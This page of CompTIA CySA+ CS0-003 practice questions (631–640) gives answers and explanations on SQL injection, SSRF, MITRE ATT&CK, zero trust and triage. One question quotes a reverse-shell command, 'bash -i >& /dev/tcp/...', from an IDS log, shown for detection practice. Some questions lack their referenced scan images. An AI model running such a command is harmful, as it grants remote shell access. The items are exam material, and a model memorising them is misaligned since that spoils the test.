CompTIA CS0-003 Online Practice Questions and Exam Preparation

CompTIA CS0-003 Online Questions & Answers

• Question 631:

  A security analyst discovers multiple log entries from a recently acquired tool that was bundled as a YUM package. Those entries point to attempts of privilege escalation.

  Which of the following Is the most likely explanation?

  A. The package was modified during installation.
  B. The package was missing critical DLL files.
  C. The package got corrupted while being downloaded.
  D. The package was installed without a GPG check.
  D. The package was installed without a GPG check.

• Question 632:

  A security analyst reviews the following Arachni scan results for a web application that stores PII data:

  

  Which of the following should be remediated first?

  A. SQL injection
  B. RFI
  C. XSS
  D. Code injection
  A. SQL injection

  ---

  Explanation

  SQL injection should be remediated first, as it is a high-severity vulnerability that can allow an attacker to execute arbitrary SQL commands on the database server and access, modify, or delete sensitive data, including PII. According to the Arachni scan results, there are two instances of SQL injection and three instances of blind SQL injection (two timing attacks and one differential analysis) in the web application. These vulnerabilities indicate that the web application does not properly validate or sanitize the user input before passing it to the database server, and thus exposes the database to malicious queries 12. SQL injection can have serious consequences for the confidentiality, integrity, and availability of the data and the system, and can also lead to further attacks, such as privilege escalation, data exfiltration, or remote code execution 34. Therefore, SQL injection should be the highest priority for remediation, and the web application should implement input validation, parameterized queries, and least privilege principle to prevent SQL injection attacks 5.

  References:

  Web application testing with Arachni | Infosec, How do I create a generated scan report for PDF in Arachni Web ..., Command line user interface ?Arachni/arachni Wiki ?GitHub, SQL Injection - OWASP, Blind SQL Injection - OWASP, SQL Injection Attack:

  What is it, and how to prevent it., SQL Injection Cheat Sheet & Tutorial | Veracode

• Question 633:

  Several users received a phishing email containing a malicious file that bypassed the organization's email security tool. Based on the SIEM logs, users did not open the file within the environment.

  In which of the following phases of the MITRE ATT&CK framework was the attack stopped?

  A. Lateral movement
  B. Execution
  C. Initial access
  D. Discovery
  C. Initial access

• Question 634:

  An organization is planning to adopt a zero-trust architecture.

  Which of the following is most aligned with this approach?

  A. Network segmentation to separate sensitive systems from the rest of the network.
  B. Whitelisting specific IP addresses that are allowed to access the network.
  C. Trusting users who successfully authenticate once with multifactor authentication.
  D. Automatically trusting internal network communications over external traffic.
  A. Network segmentation to separate sensitive systems from the rest of the network.

  ---

  Explanation

  Comprehensive and Detailed Step-by-Step Explanation:Network segmentation supports zero-trust principles by ensuring sensitive systems are isolated and access is restricted based on identity, role, and context. Unlike traditional models, zero-trust architecture does not automatically trust authenticated users or internal network traffic. It enforces strict access controls to minimize risk.

  References:

  CompTIA CySA+ Study Guide (Chapter 2: Zero Trust and Network Segmentation, Page 52)

  CompTIA CySA+ Objectives (Domain 1.1 - Zero Trust Architecture)

• Question 635:

  An analyst is reviewing a dashboard from the company's SIEM and finds that an IP address known to be malicious can be tracked to numerous high-priority events in the last two hours. The dashboard indicates that these events relate to TTPs.

  Which of the following is the analyst most likely using?

  A. MITRE ATT&CK
  B. OSSTMM
  C. Diamond Model of Intrusion Analysis
  D. OWASP
  A. MITRE ATT&CK

  ---

  Explanation

  The MITRE ATT&CK framework is specifically designed for tracking Tactics, Techniques, and Procedures (TTPs) associated with cyber threats. It provides a detailed matrix of known adversarial behaviors, which is useful for correlating SIEM data to known attack patterns. According to CompTIA CySA+, MITRE ATT&CK is an industry-standard framework for threat intelligence and behavior analysis, making it the ideal tool for tracking malicious IP addresses and understanding their tactics. Other options like OSSTMM, the Diamond Model, and OWASP do not focus on TTPs as directly as MITRE ATT&CK does.

• Question 636:

  A security analyst noticed the following entry on a web server log:

  1. Warning: fopen (http://127.0.0.1:16) : failed to open stream:

  2. Connection refused in /hj/var/www/showimage.php on line 7

  Which of the following malicious activities was most likely attempted?

  A. XSS
  B. CSRF
  C. SSRF
  D. RCE
  C. SSRF

  ---

  Explanation

  The malicious activity that was most likely attempted is SSRF (Server-Side Request Forgery). This is a type of attack that exploits a vulnerable web application to make requests to other resources on behalf of the web server. In this case, the attacker tried to use the fopen function to access the local loopback address (127.0.0.1) on port 16, which could be a service that is not intended to be exposed to the public. The connection was refused, indicating that the port was closed or filtered.

  References:

  CompTIA CySA+ Study Guide: Exam CS0-003, 3rd Edition, Chapter 2: Software and Application Security, page 66.

• Question 637:

  During the triage of a SIEM alarm, a security analyst identifies the following activity on a.bash_history file:

  

  Which of the following actions should the analyst take?

  A. Declare an incident and look for data exfiltration.
  B. Declare an incident and look for lateral movements.
  C. Declare a false positive and close the alarm.
  D. Declare an incident and look for malware in the affected machine.
  A. Declare an incident and look for data exfiltration.

• Question 638:

  Which of the following does a security policy do?

  A. Establishes a cost model for security activity
  B. Identifies and clarifies security goals and objectives
  C. Enables management to define system access rules
  D. Allows management to define system recovery requirements
  B. Identifies and clarifies security goals and objectives

• Question 639:

  A security analyst identified the following suspicious entry on the host-based IDS logs:

  bash -i >& /dev/tcp/10.1.2.3/8080 0>&1

  Which of the following shell scripts should the analyst use to most accurately confirm if the activity is ongoing?

  A. #!/bin/bash nc 10.1.2.3 8080 -vv >dev/null && echo "Malicious activity" || echo "OK"
  B. #!/bin/bash ps -fea | grep 8080 >dev/null && echo "Malicious activity" || echo "OK"
  C. #!/bin/bash ls /opt/tcp/10.1.2.3/8080 >dev/null && echo "Malicious activity" || echo "OK"
  D. #!/bin/bash netstat -antp | grep 8080 >dev/null && echo "Malicious activity" || echo "OK"
  D. #!/bin/bash netstat -antp | grep 8080 >dev/null && echo "Malicious activity" || echo "OK"

• Question 640:

  The most recent vulnerability scan results show the following:

  

  The vulnerability team learned the following from the asset owners:

  1. Server HQFIN01 is a financial transaction database server used in the company's largest business unit.

  2. Server HQADMIN02 is utilized by an end user with administrator privileges to several critical applications.

  3. No compensating controls exist for either issue.

  Which of the following would the vulnerability team most likely do to determine remediation prioritization?

  A. Review the BCP and prioritize the remediation of the asset that would take more time to bring online for operational use.
  B. Contact the network and desktop engineering teams to discuss prioritizing the asset that is faster to remediate.
  C. Reference the BIA to determine the value designation and prioritize vulnerability remediation of the more critical asset.
  D. Identify the network placement and configuration of each asset, then prioritize the asset with the least recent backups.
  C. Reference the BIA to determine the value designation and prioritize vulnerability remediation of the more critical asset.